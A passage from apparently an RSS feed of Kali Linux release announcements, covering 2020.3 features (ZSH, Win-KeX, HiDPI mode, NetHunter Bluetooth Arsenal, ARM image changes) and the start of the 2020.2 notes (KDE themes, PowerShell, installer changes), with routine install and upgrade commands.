&lt;p>If you like what you see, you can &lt;strong>set ZSH as your default&lt;/strong> &lt;em>(replacing bash)&lt;/em> by doing &lt;code>chsh -s /bin/zsh&lt;/code>. &lt;em>Which is what we will be doing in 2020.4&lt;/em>.&lt;/p>
&lt;p>We wanted to give the community a notice before this switch happens. This is a very large change (some may argue larger than the &lt;a href="https://www.kali.org/blog/kali-linux-2019-4-release/">Gnome to Xfce switch last year&lt;/a>). &lt;strong>We are also looking for &lt;a href="https://bugs.kali.org/main_page.php">feedback&lt;/a>&lt;/strong>. We hope we have the right balance of design and functionality, but we know these typically don&amp;rsquo;t get done perfect the first time. And, we don&amp;rsquo;t want to overload the default shell with too many features, as lower powered devices will then struggle or it may be hard to on the eyes to read. ZSH has been something we have wanted to do for a long time &lt;em>(even before the switch over to &lt;a href="https://www.kali.org/blog/kali-linux-2019-4-release/">Xfce&lt;/a>!)&lt;/em>.&lt;/p>
&lt;p>We will be doing extensive testing during this next cycle so we reserve the right to delay the default change, or change direction all together. Again, we encourage you to provide &lt;a href="https://bugs.kali.org/main_page.php">feedback&lt;/a> on this process. There is no way we can cover every use case on our own, so &lt;strong>your help is important&lt;/strong>.&lt;/p>
&lt;hr>
&lt;p>&lt;strong>Q.) Why did you make the switch? What&amp;rsquo;s wrong with bash?&lt;/strong>
A.) You can do a lot of advanced things with bash, and customize it to do even more, but ZSH allows you to do even more. This was one really large selling point.&lt;/p>
&lt;p>&lt;strong>Q.) Why did you pick ZSH and not fish?&lt;/strong>
A.) In the discussion of switching shells, one of the options that came up is Fish &lt;em>(Friendly Interactive SHell)&lt;/em>. Fish is a nice shell &lt;em>(probably nicer than ZSH)&lt;/em>, but realistically it was not a real consideration due to the fact that it is not POSIX compatible. This would cause a lot of issues, as common one-liners just won&amp;rsquo;t work.&lt;/p>
&lt;p>&lt;strong>Q.) Are you going to use any ZSH frameworks (e.g. Oh-My-ZSH or Prezto)?&lt;/strong>
A.) At this point in time, by default, no. The weight of these would not be workable for lower powered devices. You can still install them yourself afterwards &lt;em>(as many of our team do)&lt;/em>.&lt;/p>
&lt;h2 id="win-kex">Win-KeX&lt;/h2>
&lt;p>Having Kali Linux on &amp;ldquo;Windows Subsystem for Linux&amp;rdquo; (WSL) is something &lt;a href="https://www.kali.org/blog/kali-on-the-windows-subsystem-for-linux/">we have been taking advantage of&lt;/a> since it came out. With the release of &lt;a href="https://www.kali.org/blog/wsl2-and-kali/">WSLv2&lt;/a>, the overall functionality and user experience improved dramatically.&lt;/p>
&lt;p>Today, the experience is improving once more with the introduction of &lt;strong>Win-KeX&lt;/strong> (Windows + Kali Desktop EXperience). After installing it, typing in &lt;code>kex&lt;/code>, or clicking on the button, Win-KeX will give you a &lt;strong>persistent-session GUI&lt;/strong>.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2020-3-release/images/release-2020.3-win-kex.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2020-3-release/images/release-2020.3-win-kex.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>After getting WSL installed &lt;em>(there&amp;rsquo;s countless guides online, or you can follow &lt;a href="https://www.kali.org/docs/wsl/win-kex/">ours&lt;/a>/)&lt;/em>, you can install &lt;code>Win-KeX&lt;/code> by doing the following:&lt;/p>
&lt;pre>&lt;code class="language-sh">sudo apt update &amp;amp;&amp;amp; sudo apt install -y kali-win-kex
&lt;/code>&lt;/pre>
&lt;p>Afterwards, if you want to make a shortcut, follow our &lt;a href="https://www.kali.org/docs/wsl/win-kex/">guide&lt;/a>, or you can just type in &lt;code>kex&lt;/code>!&lt;/p>
&lt;p>On the subject of &lt;strong>WSL&lt;/strong> (and this is true for &lt;strong>Docker&lt;/strong> and &lt;strong>AWS EC2&lt;/strong>) something we have seen a bit is after getting a desktop environment, people have noticed the tools are not &amp;ldquo;there&amp;rdquo;. This is because they are &lt;strong>not included by default&lt;/strong>, to keep the image as small as possible. You either need to manually install them one by one, or grab the &lt;a href="https://www.kali.org/docs/general-use/metapackages/">default metapackage&lt;/a> to get all the tools from out-of-the-box: &lt;code>sudo apt install -y kali-linux-default&lt;/code>&lt;/p>
&lt;p>Please note, Win-KeX does require &lt;strong>WSL v2 on x64&lt;/strong> as it&amp;rsquo;s not compatible with WSL v1, or arm64.&lt;/p>
&lt;p>For more information, please see our &lt;a href="https://www.kali.org/docs/wsl/win-kex/">documentation page on Win-KeX&lt;/a>&lt;/p>
&lt;h2 id="automating-hidpi">Automating HiDPI&lt;/h2>
&lt;p>HiDPI displays are getting more and more common. Unfortunately, Linux support, out of the box, hasn&amp;rsquo;t been great &lt;em>(older Linux users may remember a time where this was very common for a lot of hardware changes.)&lt;/em>. Which means after doing a fresh install, there is a bit of tweaking required to get it working, otherwise the font/text/display may be very small to read. We have &lt;a href="https://www.kali.org/docs/general-use/hidpi/">had a guide&lt;/a> out explaining the process required to get it working, but the process before was a little &amp;ldquo;fiddly&amp;rdquo;. &lt;strong>We wanted to do better&lt;/strong>.&lt;/p>
&lt;p>So we made &lt;strong>kali-hidpi-mode&lt;/strong>. Now, either typing in &lt;code>kali-hidpi-mode&lt;/code> or selecting it from the menu &lt;em>(as shown below)&lt;/em>, should automate switching between HiDPI modes.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2020-3-release/images/release-2020.3-hidpi.gif' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2020-3-release/images/release-2020.3-hidpi.gif" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;h2 id="tool-icons">Tool Icons&lt;/h2>
&lt;p>Over the last few releases, we have been showing the progress on getting more themed icons for tools. We can now say, if you use the &lt;strong>default tool listing&lt;/strong> (&lt;code>kali-linux-default&lt;/code>), &lt;strong>every tool in the menu&lt;/strong> (and then a few extra ones!), should have their &lt;strong>own icon&lt;/strong> now.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2020-3-release/images/release-2020.3-icons.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2020-3-release/images/release-2020.3-icons.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>We will be working on adding missing tools to the menu (and creating icons for them) over the next few releases of Kali, as well as expanding into the &lt;code>kali-linux-large&lt;/code> &lt;a href="https://www.kali.org/docs/general-use/metapackages/">metapackage&lt;/a> (then &lt;code>kali-tools-everything&lt;/code>/). We also have plans for these icons, outside of the menu - more information in an upcoming release!&lt;/p>
&lt;h2 id="kali-nethunter-bluetooth-arsenal">Kali NetHunter Bluetooth Arsenal&lt;/h2>
&lt;p>We are proud to introduce &lt;strong>Bluetooth Arsenal&lt;/strong> by &lt;a href="https://twitter.com/yesimxev">@yesimxev&lt;/a> from the &lt;a href="https://www.kali.org/about-us/">Kali NetHunter team&lt;/a>. It combines a set of bluetooth tools in the Kali NetHunter app with some pre-configured workflows and exciting use cases. You can use your external adapter for &lt;strong>reconnaissance&lt;/strong>, &lt;strong>spoofing&lt;/strong>, &lt;strong>listening to&lt;/strong> and &lt;strong>injecting audio&lt;/strong> into various devices, including speakers, headsets, watches, or even cars.&lt;/p>
&lt;p>Please note that &lt;code>RFCOMM&lt;/code> and &lt;code>RFCOMM tty&lt;/code> will need to be &lt;strong>enabled in kernels&lt;/strong> from now on to support some of the tools.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2020-3-release/images/release-2020.3-nh-bluetooth.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2020-3-release/images/release-2020.3-nh-bluetooth.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;h2 id="kali-nethunter-for-nokia-phones">Kali NetHunter for Nokia Phones&lt;/h2>
&lt;p>Kali NetHunter now supports the &lt;strong>Nokia 3.1&lt;/strong> and &lt;strong>Nokia 6.1&lt;/strong> phones, thanks to &lt;a href="https://twitter.com/yesimxev">@yesimxev&lt;/a>. Images are available on our &lt;a href="https://www.kali.org/get-kali/#kali-mobile">download site&lt;/a>. Please note that those images contain a &amp;ldquo;minimal Kali rootfs&amp;rdquo; due to technical reasons but you can easily install all the default tools via &lt;code>sudo apt install -y kali-linux-default&lt;/code>.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2020-3-release/images/release-2020.3-nokia-nethunter.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2020-3-release/images/release-2020.3-nokia-nethunter.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;h2 id="setup-process">Setup Process&lt;/h2>
&lt;p>The full installer image always had all the packages required for an offline installation but if you installed a Kali Linux system with this image and without disabling the network, the installer would automatically run &lt;code>dist-upgrade&lt;/code> &lt;strong>during&lt;/strong> the install. This is done to make sure that you have the latest packages on first boot. And that step can &lt;strong>take a very long time&lt;/strong>, especially after a few months after a release when &lt;strong>lots of updates&lt;/strong> have accumulated. &lt;strong>Starting with 2020.3, we disabled the network mirror in the full installer&lt;/strong> so that you always get the &lt;strong>same installation speed&lt;/strong>, and the &lt;strong>same packages and versions&lt;/strong> for that release &lt;em>- just make sure to &lt;a href="https://www.kali.org/docs/general-use/updating-kali/">update&lt;/a> after installing&lt;/em>!&lt;/p>
&lt;p>Whilst we were at it, we fixed another related issue. If you didn&amp;rsquo;t have network access &lt;em>(either voluntarily or otherwise)&lt;/em> during installation, you would get an empty &lt;a href="https://www.kali.org/docs/general-use/kali-linux-sources-list-repositories/">network repository&lt;/a> (&lt;code>/etc/apt/sources.list&lt;/code>/). This means, you would not be able to use &lt;code>apt&lt;/code> to install additional packages. While there might be some users who will never have network, we believe that it&amp;rsquo;s best to actually configure that file in &lt;strong>all cases&lt;/strong>. &lt;strong>So that&amp;rsquo;s what we did&lt;/strong>. By default, any fresh installs going forward after 2020.3 will have &lt;strong>network repositories pre-defined&lt;/strong>.&lt;/p>
&lt;h2 id="arm-device-updates">ARM Device Updates&lt;/h2>
&lt;p>We have (along with the work of &lt;a href="https://twitter.com/frangalinux">Francisco Jose Rodríguez Martos&lt;/a> who did a lot of the back end changes) refreshed our &lt;a href="https://gitlab.com/kalilinux/build-scripts/kali-arm">build-scripts for our ARM devices&lt;/a>. We &lt;a href="https://www.kali.org/get-kali/#kali-arm">pre-generated various different ARM images&lt;/a> &lt;em>(as of 2020.3 - 19 images)&lt;/em> to allow for quick download and deployment, but we have build scripts for more &lt;em>(as of 2020.3 - 39 images)&lt;/em>. If your device is not one of ones that we release images for, you&amp;rsquo;ll need to use the scripts to self generate the image.&lt;/p>
&lt;p>Notable changes in ARM&amp;rsquo;s 2020.3 release:&lt;/p>
&lt;ul>
&lt;li>&lt;strong>All of the ARM images&lt;/strong> come with &lt;strong>&lt;code>kali-linux-default&lt;/code> &lt;a href="https://www.kali.org/docs/general-use/metapackages/">metapackage&lt;/a>&lt;/strong> installed, bringing them in line with the rest of our releases, so &lt;strong>more tools are available when you first boot&lt;/strong>&lt;/li>
&lt;li>We have &lt;strong>reduced the size of all our ARM images&lt;/strong> that are created, so downloads should be smaller. However, you will still need to use &lt;strong>at least a 16GB&lt;/strong> sdcard/USB drive/eMMC&lt;/li>
&lt;li>&lt;strong>Pinebook&lt;/strong> and &lt;strong>Pinebook Pro&lt;/strong> images can now be used on &lt;strong>either sdcard or eMMC&lt;/strong>&lt;/li>
&lt;li>The &lt;strong>Pinebook&lt;/strong> image now has the WiFi driver built during image creation, instead of on first boot, this should &lt;strong>speed up first boot time&lt;/strong> massively&lt;/li>
&lt;li>The &lt;strong>Pinebook Pro&lt;/strong> has a change from the upstream firmware, which changes &lt;code>ccode=DE&lt;/code> to &lt;code>ccode=all&lt;/code> - this allows &lt;strong>access to more 2.4GHz and 5GHz&lt;/strong> channels&lt;/li>
&lt;li>The &lt;strong>64-bit RaspberryPi&lt;/strong> images now have the RaspberryPi &lt;strong>userland utilities&lt;/strong> built during image creation, so &lt;code>vcgencmd&lt;/code> and various other utilities that were previously only available on the 32-bit image are now usable on 64-bit as well&lt;/li>
&lt;li>The &lt;strong>ODROID-C2&lt;/strong> image now uses the Kali kernel, instead of a vendor provided one. This means in the future, an &lt;code>apt dist-upgrade&lt;/code> will get you kernel updates instead of waiting for a new Kali release&lt;/li>
&lt;li>The &lt;code>/etc/fstab&lt;/code> file now &lt;strong>includes the root partition via UUID&lt;/strong>, this should make it &lt;strong>easier when trying to use a USB drive&lt;/strong> instead of sdcard on devices that support it&lt;/li>
&lt;/ul>
&lt;p>A few things which are work in progress:&lt;/p>
&lt;ul>
&lt;li>&lt;strong>RaspberryPi&lt;/strong> images are using 4.19 kernels. We would like to move to 5.4 however, &lt;code>nexmon&lt;/code> isn&amp;rsquo;t working properly with it &lt;em>(as the new kernel requires firmware version =&amp;gt; 7.45.202)&lt;/em> for which &lt;a href="https://github.com/seemoo-lab/nexmon/issues/423">no nexmon patch exists yet&lt;/a>&lt;/li>
&lt;li>There is a new &lt;strong>USBArmory Mk2&lt;/strong> &lt;a href="https://gitlab.com/kalilinux/build-scripts/kali-arm">build script&lt;/a>. We don&amp;rsquo;t have the hardware to test it however, so we are looking for community feedback who is able to test it out&lt;/li>
&lt;li>&lt;strong>Veyron&lt;/strong> image will be released at a later date to kernel issues that haven&amp;rsquo;t yet been tracked down&lt;/li>
&lt;/ul>
&lt;h2 id="desktop-environment">Desktop Environment&lt;/h2>
&lt;p>As there has been minor update to Gnome, we have been taking some advantages of the new settings:&lt;/p>
&lt;ul>
&lt;li>GNOME&amp;rsquo;s file manager &lt;code>nautilus&lt;/code> has a new theme&lt;/li>
&lt;li>GNOME&amp;rsquo;s system-monitor now matches the colors and also has stacked CPU charts&lt;/li>
&lt;li>Improved the design for &amp;ldquo;nested headerbars&amp;rdquo; &lt;em>(example, in the Settings Window, where the left headerbar is joined with the side-navbar)&lt;/em>&lt;/li>
&lt;/ul>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2020-3-release/images/release-2020.3-gnome.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2020-3-release/images/release-2020.3-gnome.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;h2 id="community-shoutouts">Community Shoutouts&lt;/h2>
&lt;p>A new section in the release notes, community shoutouts. These are &lt;strong>people from the public who have helped Kali&lt;/strong> and the team for the last release. And we want to praise them for their work &lt;em>(we like to give credit where due!)&lt;/em>:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://twitter.com/crashbrz">Crash&lt;/a> who has been helping the community for some time now, thank you!&lt;/li>
&lt;li>&lt;a href="https://twitter.com/FrangaLinux">FrangaL&lt;/a> who has been doing some great work with Kali Linux ARM, thank you!&lt;/li>
&lt;/ul>
&lt;p>Anyone can help out, anyone can get &lt;a href="https://www.kali.org/docs/community/contribute/">involved&lt;/a>!&lt;/p>
&lt;h2 id="download-kali-linux-20203">Download Kali Linux 2020.3&lt;/h2>
&lt;p>&lt;strong>Fresh Images&lt;/strong>
So what are you waiting for? Start &lt;a href="https://www.kali.org/get-kali/">downloading&lt;/a> already!&lt;/p>
&lt;p>Seasoned Kali Linux users are already aware of this, but for the ones who are not, we do also produce &lt;strong>&lt;a href="https://cdimage.kali.org/kali-images/kali-weekly/">weekly builds&lt;/a>&lt;/strong> that you can use as well. If you can&amp;rsquo;t wait for our next release and you want the latest packages when you download the image, you can just use the weekly image instead. This way you&amp;rsquo;ll have fewer updates to do. &lt;em>Just know these are automated builds that we don&amp;rsquo;t QA like we do our standard release images&lt;/em>. But we gladly take bug reports about those images because we want any issues to be fixed before our next release.&lt;/p>
&lt;p>&lt;strong>Existing Upgrades&lt;/strong>
If you already have an existing Kali Linux installation, remember you can always do a quick &lt;a href="https://www.kali.org/docs/general-use/updating-kali/">update&lt;/a>:&lt;/p>
&lt;pre>&lt;code class="language-console">kali@kali:~$ echo &amp;quot;deb http://http.kali.org/kali kali-rolling main contrib non-free&amp;quot; | sudo tee /etc/apt/sources.list
kali@kali:~$
kali@kali:~$ sudo apt update &amp;amp;&amp;amp; sudo apt -y full-upgrade
kali@kali:~$
kali@kali:~$ [ -f /var/run/reboot-required ] &amp;amp;&amp;amp; sudo reboot -f
kali@kali:~$
&lt;/code>&lt;/pre>
&lt;p>You should now be on Kali Linux 2020.3. We can do a quick check by doing:&lt;/p>
&lt;pre>&lt;code class="language-console">kali@kali:~$ grep VERSION /etc/os-release
VERSION=&amp;quot;2020.3&amp;quot;
VERSION_ID=&amp;quot;2020.3&amp;quot;
VERSION_CODENAME=&amp;quot;kali-rolling&amp;quot;
kali@kali:~$
kali@kali:~$ uname -v
#1 SMP Debian 5.7.6-1kali2 (2020-07-01)
kali@kali:~$
kali@kali:~$ uname -r
5.7.0-kali1-amd64
kali@kali:~$
&lt;/code>&lt;/pre>
&lt;p>NOTE: The output of &lt;code>uname -r&lt;/code> may be different depending on the system &lt;a href="https://pkg.kali.org/pkg/linux-latest">architecture&lt;/a>.&lt;/p>
&lt;p>As always, should you come across any bugs in Kali, please submit a report on our &lt;a href="https://bugs.kali.org/main_page.php">bug tracker&lt;/a>. &lt;em>We&amp;rsquo;ll never be able to fix what we don&amp;rsquo;t know is broken!&lt;/em> &lt;strong>And &lt;a href="https://twitter.com/kalilinux">Twitter&lt;/a> is not a Bug Tracker!&lt;/strong>&lt;/p></description></item><item><title>Kali Linux 2020.2 Release (KDE &amp; PowerShell)</title><link>https://www.kali.org/blog/kali-linux-2020-2-release/</link><guid isPermaLink="true">https://www.kali.org/blog/kali-linux-2020-2-release/</guid><pubDate>Tue, 12 May 2020 00:00:00 +0000</pubDate><updated>Mon, 17 Jan 2022 00:00:00 +0000)</updated><enclosure url="https://www.kali.org/blog/kali-linux-2020-2-release/images/kali-2020.2-release.jpg" type="image/jpg"/><description>&lt;p>Despite the turmoil in the world, we are thrilled to be bringing you an awesome update with Kali Linux 2020.2! And it is available for immediate &lt;a href="https://www.kali.org/get-kali/">download&lt;/a>.&lt;/p>
&lt;p>A quick overview of what&amp;rsquo;s new since &lt;a href="https://www.kali.org/blog/kali-linux-2020-1-release/">January&lt;/a>:&lt;/p>
&lt;ul>
&lt;li>KDE Plasma Makeover &amp;amp; Login&lt;/li>
&lt;li>PowerShell by Default. &lt;em>Kind of.&lt;/em>&lt;/li>
&lt;li>Kali on ARM Improvements&lt;/li>
&lt;li>Lessons From The Installer Changes&lt;/li>
&lt;li>New Key Packages &amp;amp; Icons&lt;/li>
&lt;li>Behind the Scenes, Infrastructure Improvements&lt;/li>
&lt;/ul>
&lt;hr>
&lt;h2 id="kde-plasma-makeover--login">KDE Plasma Makeover &amp;amp; Login&lt;/h2>
&lt;p>With &lt;a href="https://www.kali.org/blog/kali-linux-2019-4-release/">Xfce&lt;/a> and GNOME having had a Kali Linux look and feel update, it&amp;rsquo;s time to go back to our roots &lt;em>(days of &lt;a href="https://www.backtrack-linux.org/">BackTrack&lt;/a>)&lt;/em> and give some love and attention to KDE Plasma. Introducing our dark and light themes for KDE Plasma:&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2020-2-release/images/release-2020.2-kali-kde-dark.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2020-2-release/images/release-2020.2-kali-kde-dark.png" alt="" />
&lt;/a>
&lt;/p>
&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2020-2-release/images/release-2020.2-kali-kde-light.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2020-2-release/images/release-2020.2-kali-kde-light.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>On the subject of theming, we have also tweaked the login screen (&lt;a href="https://pkg.kali.org/pkg/lightdm">lightdm&lt;/a>). It looks different, both graphically and the layout &lt;em>(the login boxes are aligned now)&lt;/em>!&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2020-2-release/images/release-2020.2-login-dark.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2020-2-release/images/release-2020.2-login-dark.png" alt="" />
&lt;/a>
&lt;/p>
&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2020-2-release/images/release-2020.2-login-light.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2020-2-release/images/release-2020.2-login-light.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;hr>
&lt;h2 id="powershell-by-default-_kind-of_">PowerShell by Default. &lt;em>Kind of.&lt;/em>&lt;/h2>
&lt;p>&lt;a href="https://www.kali.org/blog/kali-linux-2019-4-release/">A while ago&lt;/a>, we put PowerShell into &lt;a href="https://www.kali.org/docs/general-use/kali-linux-sources-list-repositories/">Kali Linux&amp;rsquo;s network repository&lt;/a>. This means if you wanted powershell, you had to install the package as a one off by doing:&lt;/p>
&lt;pre>&lt;code class="language-console">kali@kali:~$ sudo apt install -y powershell
&lt;/code>&lt;/pre>
&lt;p>We now have put PowerShell into one of our (primary) &lt;a href="https://www.kali.org/docs/general-use/metapackages/">metapackages&lt;/a>, &lt;code>kali-linux-large&lt;/code>. This means, if you choose to install this metapackage during system setup, or once Kali is up and running &lt;em>(&lt;code>sudo apt install -y kali-linux-large&lt;/code>)&lt;/em>, if PowerShell is compatible with your architecture, you can just jump straight into it &lt;em>(&lt;code>pwsh&lt;/code>)&lt;/em>!&lt;/p>
&lt;p>PowerShell isn&amp;rsquo;t in &lt;em>the default&lt;/em> metapackage &lt;em>(that&amp;rsquo;s &lt;code>kali-linux-default&lt;/code>)&lt;/em>, but it is in the one that includes the default and many extras, and can be included during system setup.&lt;/p>
&lt;hr>
&lt;h2 id="kali-on-arm-improvements">Kali on ARM Improvements&lt;/h2>
&lt;p>With &lt;a href="https://www.kali.org/blog/kali-linux-2020-1-release/">Kali Linux 2020.1&lt;/a>, desktop images no longer used &amp;ldquo;root/toor&amp;rdquo; as the &lt;a href="https://www.kali.org/docs/introduction/default-credentials/">default credentials&lt;/a> to login, but had moved to &amp;ldquo;kali/kali&amp;rdquo;. Our ARM images are now the same. We are no longer using the super user account to login with.&lt;/p>
&lt;p>We also warned back in &lt;a href="https://www.kali.org/blog/kali-linux-2019-4-release/">2019.4&lt;/a> that we would be moving away from a 8GB minimum SD card, and we are finally ready to pull the trigger on this. The requirement is now 16GB or larger.&lt;/p>
&lt;p>One last note on the subject of ARM devices, we are not installing &lt;code>locales-all&lt;/code> any more, so we highly recommend that you set your locale. This can be done by running the following command, &lt;code>sudo dpkg-reconfigure locales&lt;/code>, then log out and back in.&lt;/p>
&lt;hr>
&lt;h2 id="lessons-from-installer-changes">Lessons From Installer Changes&lt;/h2>
&lt;p>With &lt;a href="https://www.kali.org/blog/kali-linux-2020-1-release/">Kali Linux 2020.1&lt;/a> we announced our new style of images, &amp;ldquo;installer&amp;rdquo; &amp;amp; &amp;ldquo;live&amp;rdquo;.&lt;/p>
&lt;p>&lt;strong>Issue&lt;/strong>
It was intended that both &amp;ldquo;installer&amp;rdquo; &amp;amp; &amp;ldquo;live&amp;rdquo; could be customized during setup, to select which metapackage and desktop environment to use. When we did that, we couldn&amp;rsquo;t include metapackages beyond default in those images, as it would create too large of an ISO. As the packages were not in the image, if you selected anything other than the default options it would require network access to obtain the missing packages beyond default. After release, we noticed some users selecting &amp;ldquo;everything&amp;rdquo; and then waiting hours for installs to happen. They couldn&amp;rsquo;t understand why the installs where taking so long.&lt;/p>
&lt;p>We also have used different software on the back end to generate these images, and a few bugs slipped through the cracks (which explains the &lt;a href="https://bugs.kali.org/view.php?id=6053">2020.1a&lt;/a> and 2020.1b releases).&lt;/p>
&lt;p>&lt;strong>Solutions&lt;/strong>&lt;/p>
&lt;ul>
&lt;li>We have removed &lt;code>kali-linux-everything&lt;/code> as an install time option (which is &lt;em>every&lt;/em> package in the Kali Linux repository) in the installer image, as you can imagine that would have taken a long time to download and wait for during install&lt;/li>
&lt;li>We have cached &lt;code>kali-linux-large&lt;/code> &amp;amp; every desktop environment into the install image (which is why its a little larger than previous to download) - allowing for a &lt;strong>COMPLETE&lt;/strong> offline network install&lt;/li>
&lt;li>We have removed customization for &amp;ldquo;live&amp;rdquo; images - the installer switched back to copying the content of the live filesystem allowing again full offline install but forcing usage of our default XFCE desktop&lt;/li>
&lt;/ul>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2020-2-release/images/release-2020.2-setup.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2020-2-release/images/release-2020.2-setup.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>&lt;strong>Summary&lt;/strong>&lt;/p>
&lt;ul>
&lt;li>If you are wanting to run Kali from a live image (DVD or USB stick), please use &amp;ldquo;live&amp;rdquo;&lt;/li>
&lt;li>If you are wanting anything else, please use &amp;ldquo;installer&amp;rdquo;&lt;/li>
&lt;li>If you are wanting anything other than XFCE as your desktop environment, please use &amp;ldquo;installer&amp;rdquo;&lt;/li>
&lt;li>&lt;strong>If you are not sure, get &amp;ldquo;installer&amp;rdquo;&lt;/strong>&lt;/li>
&lt;/ul>
&lt;p>Also, please keep in mind on an actual assessment &amp;ldquo;more&amp;rdquo; is not always &amp;ldquo;better&amp;rdquo;. There are very few reasons to install &lt;code>kali-linux-everything&lt;/code>, and many reasons not too. To those of you that were selecting this option, we highly suggest you &lt;a href="https://kali.training/">take some time and educate yourself on Kali&lt;/a> before using it. Kali, or any other pentest distribution, is not a &amp;ldquo;turn key auto hack&amp;rdquo; solution. You still need to learn your platform, learn your tools, and educate yourself in general.&lt;/p>
&lt;p>Consider what you are really telling Kali to do when you are installing &lt;code>kali-linux-everything&lt;/code>. Its similar to if you went into your phones app store and said &amp;ldquo;install everything!&amp;rdquo;. Thats likely not to have good results. We provide a lot of powerful tools and options in Kali, and while we may have a reputation of &amp;ldquo;Providing machine guns to monkeys&amp;rdquo;, but we actually expect you to know what you are doing. Kali is not going to hold your hand. It expects you to do the work of learning and Kali will be unforgiving if you don&amp;rsquo;t.&lt;/p>
&lt;hr>
&lt;h2 id="new-key-packages--icons">New Key Packages &amp;amp; Icons&lt;/h2>
&lt;p>Just like every Kali Linux release, we include the latest packages possible. Key ones to point out this release are:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://pkg.kali.org/pkg/meta-gnome3">GNOME 3.36&lt;/a> - a few of you may have noticed a bug that slipped in during the first 12 hours of the update being available. We&amp;rsquo;re sorry about this, and have measures in place for it to not happen again&lt;/li>
&lt;li>&lt;a href="https://pkg.kali.org/pkg/joplin">Joplin&lt;/a> - we are planning on replacing &lt;a href="https://pkg.kali.org/pkg/cherrytree">CherryTree&lt;/a> with this in Kali Linux 2020.3!&lt;/li>
&lt;li>&lt;a href="https://pkg.kali.org/pkg/nextnet">Nextnet&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://pkg.kali.org/pkg/python3-defaults">Python 3.8&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://pkg.kali.org/pkg/spiderfoot">SpiderFoot&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>For the time being, as a temporary measure due to certain tools needing it, we have re-included &lt;code>python2-pip&lt;/code>. Python 2 has now reached &amp;ldquo;&lt;a href="https://www.kali.org/blog/python-2-end-of-life/">End Of Life&lt;/a>&amp;rdquo; and is no longer getting updated. Tool makers, please, please, &lt;strong>please&lt;/strong> port to Python 3. Users of tools, if you notice that a tool is not Python 3 yet, you can help too! It is not going to be around forever.&lt;/p>
&lt;p>Whilst talking about packages, we have also started to refresh our package logos for each tool. You&amp;rsquo;ll notice them in the Kali Linux menu, as well as the tools page on &lt;a href="https://gitlab.com/kalilinux/packages/">GitLab&lt;/a> &lt;em>(more information on this coming soon!)&lt;/em>&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2020-2-release/images/release-2020.2-icons.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2020-2-release/images/release-2020.2-icons.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>If your tool has a logo and we have missed it, please let us know on the &lt;a href="https://bugs.kali.org/bug_report_page.php">bug tracker&lt;/a>.&lt;/p>
&lt;hr>
&lt;h2 id="wslconf">WSLconf&lt;/h2>
&lt;p>WSLconf happened earlier this year, and &lt;a href="https://twitter.com/steevdave">@Steev&lt;/a> gave a 35 minute talk on &amp;ldquo;&lt;a href="https://www.youtube.com/watch?v=f8m6tKErjAI">How We Use WSL at Kali&lt;/a>&amp;rdquo;. Go check it out!&lt;/p>
&lt;div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
&lt;iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen="allowfullscreen" loading="eager" referrerpolicy="strict-origin-when-cross-origin" src="https://www.kali.org/blog/kali-linux-2020-2-release/https://www.youtube-nocookie.com/embed/f8m6tKErjAI?autoplay=0&amp;amp;controls=1&amp;amp;end=0&amp;amp;loop=0&amp;amp;mute=0&amp;amp;start=0" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="YouTube video">&lt;/iframe>
&lt;/div>
&lt;hr>
&lt;h2 id="behind-the-scenes-infrastructure-improvements">Behind the Scenes, Infrastructure Improvements&lt;/h2>
